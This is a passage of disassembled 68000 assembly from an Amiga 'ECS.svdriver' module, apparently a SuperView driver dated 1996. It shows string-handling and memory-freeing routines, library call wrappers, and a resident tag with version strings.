MOVE 30(A3),D0 ;1500: 302B001E
EXT.L D0 ;1504: 48C0
ADDQ.L #1,D0 ;1506: 5280
MOVE.L D0,(A6)+ ;1508: 2CC0
MOVE 32(A3),D0 ;150A: 302B0020
EXT.L D0 ;150E: 48C0
ADDQ.L #1,D0 ;1510: 5280
MOVE.L D0,(A6)+ ;1512: 2CC0
MOVE 38(A3),D0 ;1514: 302B0026
EXT.L D0 ;1518: 48C0
ADDQ.L #1,D0 ;151A: 5280
LEA 118(A0),A6 ;151C: 4DE80076
MOVE.L D0,(A6)+ ;1520: 2CC0
MOVE 40(A3),D0 ;1522: 302B0028
EXT.L D0 ;1526: 48C0
ADDQ.L #1,D0 ;1528: 5280
MOVE.L D0,(A6)+ ;152A: 2CC0
MOVEQ #0,D0 ;152C: 7000
MOVE 16(A3),D0 ;152E: 302B0010
MOVE.L D0,(A6)+ ;1532: 2CC0
MOVE.L D7,(A6)+ ;1534: 2CC7
MOVE.L A5,(A6)+ ;1536: 2CCD
LAB_00E3:
MOVE.L A3,D0 ;1538: 200B
BEQ.S LAB_00E4 ;153A: 670A
MOVEA.L A3,A1 ;153C: 224B
MOVEA.L (ABSEXECBASE).W,A6 ;153E: 2C780004
JSR -690(A6) ;1542: 4EAEFD4E
LAB_00E4:
MOVE.L A2,D0 ;1546: 200A
BEQ.S LAB_00E5 ;1548: 670A
MOVEA.L A2,A1 ;154A: 224A
MOVEA.L (ABSEXECBASE).W,A6 ;154C: 2C780004
JSR -690(A6) ;1550: 4EAEFD4E
LAB_00E5:
MOVE.L 28(A7),D0 ;1554: 202F001C
MOVEM.L (A7)+,D2/D7/A2-A6 ;1558: 4CDF7C84
ADDQ #4,A7 ;155C: 584F
RTS ;155E: 4E75
LAB_00E6:
MOVEA.L 4(A7),A0 ;1560: 206F0004
MOVEA.L 8(A7),A1 ;1564: 226F0008
MOVEQ #0,D0 ;1568: 7000
MOVEQ #0,D1 ;156A: 7200
LAB_00E7:
MOVE.B (A0)+,D0 ;156C: 1018
MOVE.B (A1)+,D1 ;156E: 1219
CMPI.B #$61,D0 ;1570: 0C000061
BLT.S LAB_00E8 ;1574: 6D0A
CMPI.B #$7A,D0 ;1576: 0C00007A
BGT.S LAB_00E8 ;157A: 6E04
SUBI.B #$20,D0 ;157C: 04000020
LAB_00E8:
CMPI.B #$61,D1 ;1580: 0C010061
BLT.S LAB_00E9 ;1584: 6D0A
CMPI.B #$7A,D1 ;1586: 0C01007A
BGT.S LAB_00E9 ;158A: 6E04
SUBI.B #$20,D1 ;158C: 04010020
LAB_00E9:
SUB.L D1,D0 ;1590: 9081
BNE.S LAB_00EA ;1592: 6604
TST.B D1 ;1594: 4A01
BNE.S LAB_00E7 ;1596: 66D4
LAB_00EA:
RTS ;1598: 4E75
DC.W $0000 ;159A
MOVE.L A6,-(A7) ;159C: 2F0E
MOVEA.L 160(A4),A6 ;159E: 2C6C00A0
JSR -156(A6) ;15A2: 4EAEFF64
MOVEA.L (A7)+,A6 ;15A6: 2C5F
RTS ;15A8: 4E75
DC.W $0000 ;15AA
MOVE.L A6,-(A7) ;15AC: 2F0E
MOVEA.L 160(A4),A6 ;15AE: 2C6C00A0
JSR -150(A6) ;15B2: 4EAEFF6A
MOVEA.L (A7)+,A6 ;15B6: 2C5F
RTS ;15B8: 4E75
DC.W $0000 ;15BA
MOVE.L A6,-(A7) ;15BC: 2F0E
MOVEA.L 160(A4),A6 ;15BE: 2C6C00A0
JSR -138(A6) ;15C2: 4EAEFF76
MOVEA.L (A7)+,A6 ;15C6: 2C5F
RTS ;15C8: 4E75
DC.W $0000 ;15CA
MOVE.L A6,-(A7) ;15CC: 2F0E
MOVEA.L 160(A4),A6 ;15CE: 2C6C00A0
JSR -144(A6) ;15D2: 4EAEFF70
MOVEA.L (A7)+,A6 ;15D6: 2C5F
RTS ;15D8: 4E75
DC.W $0000 ;15DA
LAB_00EB:
MOVEA.L 8(A7),A1 ;15DC: 226F0008
MOVEA.L 4(A7),A0 ;15E0: 206F0004
MOVE.L A0,D0 ;15E4: 2008
LAB_00EC:
TST.B (A0)+ ;15E6: 4A18
BNE.S LAB_00EC ;15E8: 66FC
SUBQ.L #1,A0 ;15EA: 5388
LAB_00ED:
MOVE.B (A1)+,(A0)+ ;15EC: 10D9
BNE.S LAB_00ED ;15EE: 66FC
RTS ;15F0: 4E75
DC.W $0000 ;15F2
LAB_00EE:
MOVEA.L 8(A7),A1 ;15F4: 226F0008
MOVEA.L 4(A7),A0 ;15F8: 206F0004
MOVE.L 12(A7),D0 ;15FC: 202F000C
MOVE.L A0,D1 ;1600: 2208
BRA.S LAB_00F0 ;1602: 6004
LAB_00EF:
MOVE.B (A1)+,(A0)+ ;1604: 10D9
BEQ.S LAB_00F2 ;1606: 6708
LAB_00F0:
SUBQ.L #1,D0 ;1608: 5380
BCC.S LAB_00EF ;160A: 64F8
BRA.S LAB_00F3 ;160C: 6006
LAB_00F1:
CLR.B (A0)+ ;160E: 4218
LAB_00F2:
SUBQ.L #1,D0 ;1610: 5380
BCC.S LAB_00F1 ;1612: 64FA
LAB_00F3:
MOVE.L D1,D0 ;1614: 2001
RTS ;1616: 4E75
SECTION S_1,DATA
SECSTRT_1:
DS.W 1 ;1618
DC.W $00AE ;161A
DC.L LAB_00F5 ;161C: 00001628
DC.L LAB_00F9 ;1620: 00001722
DC.L LAB_0000 ;1624: 0000000E
LAB_00F5:
DC.L LAB_0003 ;1628: 0000004A
DC.L LAB_0004 ;162C: 00000062
DC.L LAB_0006 ;1630: 00000084
DC.L LAB_0009 ;1634: 000000D0
DC.L LAB_0036 ;1638: 00000394
DC.L LAB_0037 ;163C: 000003BC
DC.L LAB_0038 ;1640: 000003E2
DC.L LAB_003D ;1644: 00000440
DC.L LAB_0040 ;1648: 00000480
DC.L LAB_004F ;164C: 00000544
DC.L LAB_00C9 ;1650: 00001294
DC.L LAB_00CC ;1654: 000012B6
DC.L LAB_00CF ;1658: 000012D8
DC.L LAB_00D2 ;165C: 000012FA
DC.L LAB_00D4 ;1660: 00001318
DC.L LAB_00D7 ;1664: 00001338
DC.W $FFFF ;1668
DC.W $FFFF ;166A
DS.W 42 ;166C
LAB_00F6:
DC.W $4543 ;16C0
DC.W $532E ;16C2
DC.W $7376 ;16C4
DC.W $6472 ;16C6
DC.W $6976 ;16C8
DC.W $6572 ;16CA
DS.W 2 ;16CC
LAB_00F7:
DC.W $4543 ;16D0
DC.W $5320 ;16D2
DC.W $322E ;16D4
DC.W $3132 ;16D6
DC.W $2028 ;16D8
DC.W $3232 ;16DA
DC.W $2E31 ;16DC
DC.W $322E ;16DE
DC.W $3936 ;16E0
DC.W $2900 ;16E2
DC.W $2863 ;16E4
DC.W $2920 ;16E6
DC.W $3139 ;16E8
DC.W $3934 ;16EA
DC.W $2D39 ;16EC
DC.W $3720 ;16EE
DC.W $6279 ;16F0
DC.W $2041 ;16F2
DC.W $6E64 ;16F4
DC.W $7265 ;16F6
DC.W $6173 ;16F8
DC.W $2052 ;16FA
DC.W $2E20 ;16FC
DC.W $4B6C ;16FE
DC.W $6569 ;1700
DC.W $6E65 ;1702
DC.W $7274 ;1704
DS.W 1 ;1706
LAB_00F8:
DC.W $4AFC ;1708
DC.L LAB_00F8 ;170A: 00001708
DC.L LAB_00FA ;170E: 00001758
DC.W $8002 ;1712
DC.W $0900 ;1714
DC.L LAB_00F6 ;1716: 000016C0
DC.L LAB_00F7 ;171A: 000016D0
DC.L SECSTRT_1 ;171E: 00001618
LAB_00F9:
DC.W $E000 ;1722
DC.W $0008 ;1724
DC.W $0900 ;1726
DC.W $800A ;1728
DC.L LAB_00F6 ;172A: 000016C0
DC.W $E000 ;172E
DC.W $000E ;1730
DC.W $0600 ;1732
DC.W $D000 ;1734
DC.W $0014 ;1736
DC.W $0002 ;1738
DC.W $D000 ;173A
DC.W $0016 ;173C
DC.W $000C ;173E
DC.W $8018 ;1740
DC.L LAB_00F7 ;1742: 000016D0
DS.W 5 ;1746
DC.L LAB_0044 ;1750: 000004AA
DC.W $0008 ;1754
DC.W $0001 ;1756
LAB_00FA:
DS.W 2 ;1758
END